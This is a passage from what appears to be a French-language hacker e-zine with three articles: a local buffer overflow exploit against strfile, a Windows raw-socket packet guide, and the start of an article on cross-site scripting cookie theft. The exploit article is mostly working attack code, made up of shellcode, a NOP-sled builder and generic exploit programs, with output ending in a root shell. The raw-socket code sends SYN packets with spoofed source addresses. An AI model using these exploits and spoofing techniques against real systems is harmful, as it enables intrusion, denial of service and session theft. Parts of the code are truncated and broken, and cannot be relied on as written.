s'assurer que s'assurer que les 4 derniers bytes de notre buffer overflow recouvre bien le eip. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`ZZZZ Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11743 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x5a5a5a5a in ?? () (gdb) Operation successfull, on vient de trouver le eip. ____ ,------------------------------------------------- / \ | Certain d'entre vous qui connaissent mal ou pas | _ | | du tout GDB apprécieraient sûrement une petite | / \ | | explication de ce qui c'est passé ici. || | | / (.) (.)| / || | | <__ gdb est un programme disponible sur la plupart || | | | | des systèmes d'exploitation qui permet de gérer || | | | | l'exécution de binary, daller lire les segments |____/|| | | de mémoires, de connaître le contenu des |\___/ | | | registre, d'exécuter un binary en traçant des || | | | | breakpoints afin de pouvoir débuguer directement || | | | | certaines sections. gdb permet aussi d'obtenir des || | | | | dump en asm AT&T des différentes procédures et || | | fonction d'un code donner, et peut même dans le | \___/ | cas d'un programme compilé spécifiquement pour | | gdb de présenter le code original en C à partir \______/ du binary. Un article entier pourrais être consacré à l'utilisation de gdb, comme il ne s'agit pas du but recherché ici, je vais me contenter de survoler ce qui est nécessaire pour comprendre cette article et parler de quelques commandes de base qui peuvent s'avérer intéressantes. afin d'utiliser gdb pour gérer un programme qui segfault, il faut créer un core au moment du segfault. c'est ce core que nous utiliserons via gdb pour "debugger" notre application. pour faire créer un core il suffit de faire la commande ulimit -c 100000 (ce n'est pas nécessaire de la refaire avant chaque exécution, une fois suffit, tant que vous demeurez dans le même shell). pour lancer gdb avec un coredump il suffit de lancer la commande suivante gdb -c core (ici core peu présenter quelques différences dépendamment du os ou même de la distro que vous utiliser. par exemple sous slackware la dénomination est simplement core tandis que sous redhat un id est ajouté en extension ce qui donne core.10045 (genre). Une autre façon est de lancer gdb avec le programme a débuguer en paramètre, ex: gdb test Ensuite à l'intérieur de gdb il suffit de taper"r" ou "run" pour que l'application s'exécute. Il est possible de passer des paramètres, de la même façon que vous feriez si vous lanceriez le programme à partir d'un shell. C-a-d que vous tapez r suivit des arguments. Encore la comme dans un shell il est possible d'insérer des résultats de commande en argument à l'aide des balises ``. Vous aurez sûrement remarqué l'utilisation de l'option -q au démarrage de gdb. Cette option enlève simplement le header de gdb (du text pas trop important et très redondant à la longue). Pour de l'aide, taper help, (classique) Quelques autres commandes vous serons sûrement utile p (print) : permet de printer la valeur d'un registre ex : p $eip donnera la valeur de eip. noter que pour l'utilisation de "p" le registre mit en option doit être débuter par le caractère $. info registers : donne la liste et la valeur de chaque registre disassemble : permet de donner un dump asm d'une procédure ou d'une fonction ex : disassemble main donnera le code en asm de votre fonction main x/12 : permet d'afficher le contenu hexadécimal de la mémoire en diviser en section de 12 groupe de 4 bytes, faire enter pour remonter dans la mémoire. x/12 a besoin comme paramètre une adresse hexadécimal de ou commencer à lire. ex : (gdb) x/12 0xbffff830 donnera un résultat qui ressemble a ceci 0xbffff830: 0x00000000 0xbffff874 0xbffff884 0x400124b8 0xbffff840: 0x00000003 0x080482ac 0x00000000 0x080482cd 0xbffff850: 0x0804835c 0x00000003 0xbffff874 0x08048254 Où la première colonne représente l'adresse hexadécimal de la première bytes de la 2ième colonne. (0x stand for hexadecimal use). Et maintenant, passont à la pratique. Comme dit précédemment, le but de cette article est de créer un exploit pour strfile sous linux slackware 8.0 . La première étape est de trouver la grandeur du buffer exploitable. Pour ce faire, vu que nous ne disposons pas du source code, nous procéderons par un petit bruteforce. Pour ce faire, nous n'utiliserons pas la commande de perl montrer plus haut, mais un petit tool en C qui fait exactement la même chose, en moins long à taper. //pad.c //use it to find the buffer lenght #include main(int argc,char* argv[]) { int x; if (argc > 1) { // A X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42) for (x=0;x main(int argc,char*argv) { char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; printf("lenght of %d\r\n", strlen(shellcode)); } root@Rewter:~/tool# gcc length.c -o len root@Rewter:~/tool# ./len lenght of 32 Nous savons maintenant que notre shellcode a une grosseur de 32 bytes. Nous pouvons donc assumer avec certitude qu'il nous faudra 4112 bytes de nop pour compléter notre buffer (il ne faut pas oublier que l'adresse qui réécrit eip prend 4bytes). eip : C'est dans les 4 bytes du eip que se trouve l'adresse de retour. Il nous faut donc trouver une adresse mémoire au milieu de nos nop. pour ce faire nous utiliserons gdb et un petit code en c qui ressemble beaucoup a notre code de padding, sauf que au lieu de créer des A il créer des nop. //nop.c //padding de nop dans un buff #include main(int argc,char* argv[]) { int x; if (argc > 1) { // 0x90 X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42) for (x=0;x unsigned long getesp() { __asm__("movl %esp, %eax"); } main(int argc, char* argv[]) { unsigned long esp; char* ret; esp = getesp(); if (argc > 1) esp += atoi(argv[1]); ret = &esp; printf("%c%c%c%c",ret[0],ret[1],ret[2],ret[3]); } Maintenant que nous avons la possibilité de réécrire le eip avec une adresse qui jumpera au début de notre buffer. l'offset est un nombre qu'on passe en argument que l'exploit addition a l'adresse hexadécimal afin de permettre un peu de souplesse a l'exploit. de petite variation pouvant arriver d'un système a l'autre il est toujours pratique d'avoir la chance de jumper a une adresse plus haute en mémoire. Nous sommes maintenant prêt à bâtir un buffer que nous copierons dans un tird part text, dont nous nous servirons comme argument à passer à strfile. Dans un premier temps il nous faudra un code qui output notre shellcode pour ensuite le passer en argument à un programme qui assemblera nop shellcode et eip. //shellcode.c //print le shellcode pour le passer en arguement #include char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; main() { printf("%s",shellcode); } //build_buf.c //assemble le buffer (nop + shellcode + ret (eip) #include main(int argc, char* argv[]) { int buffer_size; char* shellcode; char* ret; int x,y; if (argc > 3) { buffer_size = atoi(argv[1]); shellcode = argv[2]; ret = argv[3]; x = buffer_size; x -= strlen(shellcode); for (y=0;y buf root@Rewter:~/tool# strfile `cat buf` sh-2.05# Tadam on vient de réussir un buffer overflow. nous n'avons pas eu besoin d'offset, mais jumper à l'intérieur d'une zone de 4148 bytes est quelque chose d'assez facile à faire. ce n'est pas l'espace qui manque. Noter que strfile ne possède pas de suid root, donc l'exploit ne donnera pas le root, il va seulement conserver les privilèges que vous avez déjà. ici je lai lancer root, c'est pourquoi je suis root. cependant il n'existe pas de différence au niveau code pour exploiter un programme suid 0 d'un programme non-suid 0. Maintenant que nous avons une vague idée de ce a quoi notre exploit ressemble nous allons en bâtir un static pour strfile. qui sera compilable et distribuable. //mkd_strfile.c //exploit static pour slackware 8.0 strfile (bsdgame package) #include //location du bin a exploiter #define PATH "/usr/bin/strfile" //grandeur du buffer total #define BUFFER 4148 //addresse de retour (pour ecraser eip) #define RET "\xbf\xff\xeb\x58" main (int argc,char* argv[]) { char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char nop[] = "\x90"; int x; char* payload; //creation du padding de nop for (x=1;x #include unsigned long getesp() { __asm__("movl %esp, %eax"); } main(int argc, char* argv[]) { int buffer_size, i; char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char nop[] = "\x90"; char* path; char* buff; char* payload; char* redhat; unsigned long ret; if (argc > 4) { /*definition des variable*/ path = argv[1]; buffer_size = atoi(argv[2]); redhat = argv[4]; /*mettre laddresse memoir de %esp dans esp*/ ret = getesp(); /*calcule du ret*/ ret += atoi(argv[3]); buff = malloc(4096); payload = buff; /*padding du payload*/ if (*redhat == 'n') { for (i=0;i 5) { printf("trying to exploit %s %s\n", &path[0], argv[5]); } else { printf("trying to exploit %s\n", &path[0]); } printf("a buffer of %d\n", buffer_size); printf("using a shellcode of %d\n", strlen(shellcode)); printf("with a padding of %d\n", buffer_size-strlen(shellcode)-4); printf("and an offset of %d\n", atoi(argv[3])); printf("jumping to 0x%x\n", ret); printf("payload lenght %d\n", strlen(payload)); if (argc > 5) { execl(path, "genericbuf", argv[5], payload, NULL); } else { execl(path, "genericbuf", payload, NULL); } } else { printf("usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]\n"); } } Ce code prend en compte les 4 bytes de trop sous un système red hat, pour vous montrez son fonctionnement j'exploiterais strfile à nouveau. Mais en utilisant buf_generic_x86 au lieu de mkd_strfile root@Rewter:~/tool# ./buf_generic_x86 usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument] root@Rewter:~/tool# ./buf_generic_x86 /usr/bin/strfile 4148 0 n trying to exploit /usr/bin/strfile a buffer of 4148 using a shellcode of 32 with a padding of 4112 and an offset of 0 jumping to 0xbffff94c payload lenght 4148 sh-2.05# Et pour la 3ième fois dans cet article, nous avons réussi à exploiter strfile. comme vous avez pu remarquer, il existe plus qu'une façon d'arriver a exploiter un buffer overflow local. J'espère que ce texte vous aura apporter quelque chose ne serais-ce que le buf_generic.c si vous saviez deja faire des buffers overflow. sinon, he bien, peu être aurez vous trouvez le complément qui manquais au doc existant pour arriver à votre fin. Greets : __2 avec qui j'ai construit les tools en C qui permettent de créer un buffer dans un file. Wyzeman ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / wyzeman@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' < Mindkind tales from IRC > [13:43] la mere a last en show dans mindkind [13:43] tutoriel sur comment mettre au monde un geek [13:44] education 101 [13:44] how to stuff your geek [13:44] feed the geek [13:44] hahahaha [13:44] comment faire le menage de la chambre de votre geek [13:44] HAHAHAHA [13:44] votre geek et la sexualiter [13:45] cours accélérer sur les relations sexuelles hors-irc < ----------------------- > __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.10 Comment sender des packets RAW sous windows 2k/XP\ \ ! . aka \ \ . ; ginette ginette, laisse moi entrer dans ton socket \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © AVERTISSEMENT © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© ¤ Cet article est destiné à ceux et celles qui savent déjà ¤ © utiliser les sockets, qui ont une bonne base en TCP/IP © ¤ qui connaissent les principes des raw sockets de base et ¤ © le language C. © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© ------------------------------------------------------------ ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © INTRODUCTION © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© Bonjour, si vous avez continué à lire malgré le petit avertissement, c'est signe que vous savez déjà l'utilité des raw sockets au delà du simple SYN flood. Je vais donc vous épargner l'intro et commencer tout de suite le côté intéressant. Dans cet article je ne vais pas parler des autres possibilités avec les raw sockets, comme par exemple de pouvoir "sniffer" les packets qui entrent et sortent d'une box. Je vais me concentrer sur l'envoi de packets raw. ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © LE SOCKET LUI-MÊME © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© Pour commencer, vous devez absolument être administrateur sur la box où vous voudrez faire des raw sockets. Seul l'admin a les droits pour les utiliser. À moins de créer une clé dans votre registre, qui permettrait à tout les utilisateurs de s'en servir. Créez la clé ci-dessous et settez sa valeur qui est de type DWORD à 1. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Afd\Parameters\DisableRawSecurity Vous aurez aussi besoin d'un header "custom" pour setter vos header TCP et IP. J'en ai inclus un à la fin de l'article sous le chapitre "HEADER À UTILISER". Je tient toutefois à mentionner que je n'ai PAS programmé le header. Il a été fait par "ziss". Les autres headers dont vous aurez besoin sont et . N'oubliez pas d'inclure la librairie de winsock2 "ws2_32.lib". Personellement je suggère, si vous utilisez MS visual C++, d'utiliser la petite commande: #pragma comment(lib, "ws2_32.lib"); La déclaration d'un socket "normal" ou de type SOCK_STREAM ou SOCK_DGRAM est simple: SOCKET sock; socket(AF_INET, SOCK_STREAM, 0); Pour la déclaration d'un raw socket, quelques petites choses diffèrent. Voici un exemple: SOCKET sock; socket(AF_INET, SOCK_RAW, IPPROTO_RAW); J'attire votre attention sur le SOCK_RAW, qui est le type de socket, et sur IPPROTO_RAW qui est le protocole qui sera utilisé par le socket. Il est important de configurer notre socket pour qu'il soit "vraiment" raw. Nous faisons ça de cette façon: BOOL bOpt = TRUE; setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)); Votre socket est maintenant raw et prêt à être utilisé. Notez que pour utiliser IP_HDRINCL, vous devez absolument être en administrateur ou bien avoir mit la petite clé que j'ai mentionnée plus haut. ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © LES HEADERS TCP/IP © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© Je ne vais pas m'attarder à l'explication des headers TCP/IP puisque je crois que pas mal tout le monde ont déjà lu sur le sujet. Un packet contient toute les informations qu'il à besoin pour se diriger sur l'internet. Il contient l'adresse du destinataire, celle de l'envoyeur et autre choses comme la version IP, la grandeur du packet, le checksum, le port de l'envoyeur et du destinataire, etc. Si vous êtes intéressés à en savoir plus sur les headers TCP/IP ou sur le TCP/IP lui-même, je vous suggère de jeter un oeil attentif sur le rfc1180. Les headers TCP/IP seront facilement configurable avec la librairie "tcpip.h" fournie à la fin de cet article. Pour vous donner une idée, je vais faire les headers TCP et IP. IP_HDR ipHeader; ipHeader.ip_checksum = 0; ipHeader.ip_id = 1; ipHeader.ip_offset = 0; ipHeader.ip_protocol = IPPROTO_TCP; ipHeader.ip_tos = 0; ipHeader.ip_totallength = htons(iSize); // iSize = sizeof(ipHeader) + sizeof(tcpHeader); ipHeader.ip_ttl = 128; // Time to live (en hops) généralement 128 // parfois 48, dependant de vos besoins ipHeader.ip_verlen = (4 << 4) | iIPSize; // iIPSize = sizeof(ipHeader) / sizeof(unsigned long); ipHeader.ip_destaddr = inet_addr("127.0.0.1"); // addresse de destination ipHeader.ip_srcaddr = inet_addr("7.7.7.7"); // source Avec des noms de variables aussi clairs que ça, je ne crois pas avoir besoin d'expliquer chaque chose ;). J'ai pris soin de mettre les variables en commentaire où elles sont utilisées, pour avoir une idée de ce que vous faites vraiment. Maintenant allons y pour le TCP. Un des avantages des raw sockets, est que vous pouvez vous même choisir la provenance du packet. C'est à dire qu'en changeant le IP_HDR.ip_srcaddr pour un autre ip que le vôtre, (7.7.7.7 dans ce cas-ci), la personne qui va recevoir le packet pensera qu'il viens de ce ip. C'est d'ailleurs comme ça que les smurfs marchent. Ils envoient un ping à une liste de serveurs, les serveurs, eux, vont tous répondre à la "victime" en même temps ce qui va causer sa déconnection, tout dépendant de plusieurs facteurs. Assez parlé de smurf, et continuons avec le TCP. TCP_HDR tcpHeader; tcpHeader.acknum = 0; tcpHeader.DataOffset = (5) << 4; tcpHeader.Flags = SYN; tcpHeader.seqnum = htonl(7777); // n'importe quoi tcpHeader.Windows = htons(7777); // n'importe quoi tcpHeader.Checksum = 0; tcpHeader.UrgPointer = 0; tcpHeader.sport = htons(7777); // le port source, // ce que vous voulez ;) tcpHeader.dport = htons(80); // le port de la destination C'est assez simple ici aussi, je ne pense pas que quelqu'un ne comprenne pas quelque chose. Lors d'une connexion TCP/IP, l'hôte génère un "numéro de séquence initiale" (Initial sequence number (ISN)). Ce numéro est utilisé pour garder la trace sur les paquets envoyés et pour être certain que la connexion continue bel et bien. Dans notre situation, avec des sockets raw, on ne se sert pas vraiment de ça, vous pouvez donc marquer ce que vous voulez à "tcpHeader.seqnum". De même pour "tcpHeader.Windows". Maintenant, on va avoir besoin d'un pseudo-header pour faire le checksum de notre header TCP. C'est très semblable au TCP_HDR en fait, voici comment on procède: PS_HDR psHeader; psHeader.placeholder = 0; psHeader.protocol = IPPROTO_TCP; psHeader.tcp_length = htons(sizeof(tcpHeader)); psHeader.source_address = inet_addr("7.7.7.7"); //comme dans le IP_HDR psHeader.dest_address = inet_addr("127.0.0.1");//même chose ici aussi memcpy(&psHeader.tcp, &tcpHeader, sizeof(tcpHeader)); Voilà, on a créé notre pseudo header et pouvons maintenant procéder au checksum : tcpHeader.Checksum = checksum((usigned short *)&psHeader, sizeof(psHeader)); Ceci conclus le chapitre. ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © EXAMPLE DE CODE © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© /************************************************************/ #include #include #include #include #include "tcpip.h" #pragma comment(lib, "ws2_32.lib") int CreatePacket(int, int, int, char[]); int SendPacket(int, int, int); int main() { int destPort = 80; // le port de destination int destIP = inet_addr("127.0.0.1"); // Addresse de destination int srcIP = inet_addr("19.13.2.7"); // Provenance (ce que vous voulez) // envoi de 5 packets for(int a = 0; a < 5; a++) SendPacket(destPort, destIP, srcIP); return 0; } int CreatePacket(int dport, int destIP, int srcIP, char buf[]) { // Déclaration des headers TCP IP et Pseudo header IP_HDR ipHeader; TCP_HDR tcpHeader; PS_HDR psHeader; int iSize, // Grosseur totale du packet ( + sizeof(autre_buffer) ) iIPVersion, // La version, dans notre cas IPv4 iIPSize; // La grosseur du IP char *cPtr = NULL; iSize = sizeof(ipHeader) + sizeof(tcpHeader); iIPVersion = 4; iIPSize = sizeof(ipHeader) / sizeof(int); // Configuration des headers // Header IP ipHeader.ip_checksum = 0; ipHeader.ip_id = 1; ipHeader.ip_offset = 0; ipHeader.ip_protocol = IPPROTO_TCP; ipHeader.ip_tos = 0; ipHeader.ip_totallength = htons(iSize); ipHeader.ip_ttl = 128; ipHeader.ip_verlen = (4 << 4) | iIPSize; ipHeader.ip_destaddr = destIP; // addresse de destination ipHeader.ip_srcaddr = srcIP; // source // Header TCP tcpHeader.acknum = 0; tcpHeader.DataOffset = (5) << 4; tcpHeader.Flags = SYN; tcpHeader.seqnum = htonl(7777); tcpHeader.Windows = htons(7777); tcpHeader.Checksum = 0; tcpHeader.UrgPointer = 0; tcpHeader.dport = htons(80); // destination tcpHeader.sport = htons(7777); // source // Pseudo Header psHeader.placeholder = 0; psHeader.protocol = IPPROTO_TCP; psHeader.tcp_length = htons(sizeof(tcpHeader)); memcpy(&psHeader.tcp,&tcpHeader, sizeof(tcpHeader)); psHeader.dest_address = destIP; // destination psHeader.source_address = srcIP; // source // Calcul du checksum tcpHeader.Checksum = checksum((USHORT *)&psHeader, sizeof(psHeader)); // Préparation du buffer memset(buf, 0, sizeof(buf)); cPtr = buf; memcpy(cPtr, &ipHeader, sizeof(ipHeader)); cPtr = cPtr + sizeof(ipHeader); memcpy(cPtr, &tcpHeader, sizeof(tcpHeader)); cPtr = cPtr + sizeof(tcpHeader); return 0; } int SendPacket(int destPort, int destIP, int srcIP) { WSADATA WSAData; SOCKET sock; BOOL bOpt =true; struct sockaddr_in sin; char buf[40]; WSAStartup(MAKEWORD(2,2), &WSAData); sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt)); sin.sin_family = AF_INET; sin.sin_port = htons(1); sin.sin_addr.s_addr = destIP; // Envoi de 1 packet CreatePacket(destPort,destIP,srcIP, buf); sendto(sock, buf, sizeof(buf), 0, (SOCKADDR *)&sin, sizeof(sin)); // Cleaning up... closesocket(sock); WSACleanup(); return 0; } /************************************************************/ ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © HEADER À UTILISER © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© J'ai trouvé ce petit header déjà programmé par "ziss". J'en ai vu beaucoup d'autres, mais j'ai trouvé que celui-ci était le mieux construit avec des noms de variables appropriés. J'ai donc choisi de l'inclure dans cet article. /*************************** TCPIP.H ********************************/ /************************** by: ziss *******************************/ #ifndef _TCPIP_H_ #define _TCPIP_H_ // Standard TCP flags #define URG 0x20 #define ACK 0x10 #define PSH 0x08 #define RST 0x04 #define SYN 0x02 #define FIN 0x01 // Our tcp header struct typedef struct tcp_hdr { unsigned short sport; unsigned short dport; unsigned int seqnum; unsigned int acknum; unsigned char DataOffset; unsigned char Flags; unsigned short Windows; unsigned short Checksum; unsigned short UrgPointer; }TCP_HDR; // Our ip header struct typedef struct ip_hdr { unsigned char ip_verlen; // IP version & length unsigned char ip_tos; // IP type of service unsigned short ip_totallength; // Total length unsigned short ip_id; // Unique identifier unsigned short ip_offset; // Fragment offset field unsigned char ip_ttl; // Time to live unsigned char ip_protocol; // Protocol(TCP, UDP, etc.) unsigned short ip_checksum; // IP checksum unsigned int ip_srcaddr; // Source address unsigned int ip_destaddr; // Destination address } IP_HDR; // Our pseudo header struct typedef struct ps_hdr { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcp_hdr tcp; }PS_HDR; // Standard TCP/UDP checksum function. USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while (size > 1) { cksum += *buffer++; size -= sizeof(USHORT); } if (size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } #endif /********************** END TCPIP.H *************************************/ ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© © CONCLUSION © ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© Il y a beaucoup à faire avec les raw sockets. Je vous suggère fortement de lire plus sur le sujet si vous êtes intéressé. Les possibilités sont infinies, mais ceci n'est que la poignée de la porte. J'espère toutefois que vous aurez appris un peu, ceci conclus ce court article sur les raw sockets 2k/XP. ¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤©¤© ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / alice514@hotmail.com / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' < Mindkind tales from IRC > < WARNING : TOO MUCH IRC CAN AFFECT YOUR SEXUAL LIFE (if you have one > [13:07] LastCall_: garde ste boutte la pour le prochain e-zine :P [13:07] sérieux les gars c plus le fun se hacker nous meme [13:08] ahha [13:08] jvois plus de but [13:08] hehe [13:08] hahaha [13:08] c comme se masturber genre [13:08] cé pas dangeureux [13:08] pis c le fun pareil [13:08] haha [13:08] surement qua longue on se tanne.. [13:08] haha < ----------------------- > __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.11 Cross-Site Scripting, gimme a cookie \ \ ! . aka \ \ . ; cookie-stealing, it's EVIL \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ C'est quoi le cross site scripting ? ------------------------------------ Bin, c'est une attaque qui consiste à faire exécuter des choses méchantes a une application web pour voler des informations sur les utilisateurs. Par exemple, un hyper lien (merde l'Office de la langue française doit être fier, un terme francophone dans Mindkind) qui contient des instructions autres que celles que l'utilisateur voit. (hen!, j'comprends pas pas). Humm ok peut-être qu'avec des exemples ça va mieux aller. On peut faire des attaques XSS (l'abréviation de cross site scripting) en javascript, activeX, vbscript, flash et même html. On les utilises souvent pour voler des cookies aux utilisateurs, mais aussi pour spoofer (la l'Office de la langue française m'emmerde j'crois) une attaque, faire du DoS (si si c'est possible avec un peu d'imagination), etc. Aussi, il ne faut pas absolument cliquer sur un lien pour être vulnérable à une attaque XSS, il est possible de faire exécuter le code dans un html e-mail ou directement en visitant une page web. A l'attaque moussaillon ----------------------- Bon, premièrement, il faut trouver une faille XSS. Une méthode simple pour en découvrir est de remplacer n'importe quel données en user input par Les meilleurs endroits pour chercher des failles XSS sont les CGI scripts, les engins de recherche, les forums interactifs, les pages d'erreurs personnalisées etc... Voila des exemples d'endroits ou vous pouvez insérer le evil code dans le code normal. XSS common injection --------------------
[IE] [IE] [IE] &{[code]}; [N4] [N4]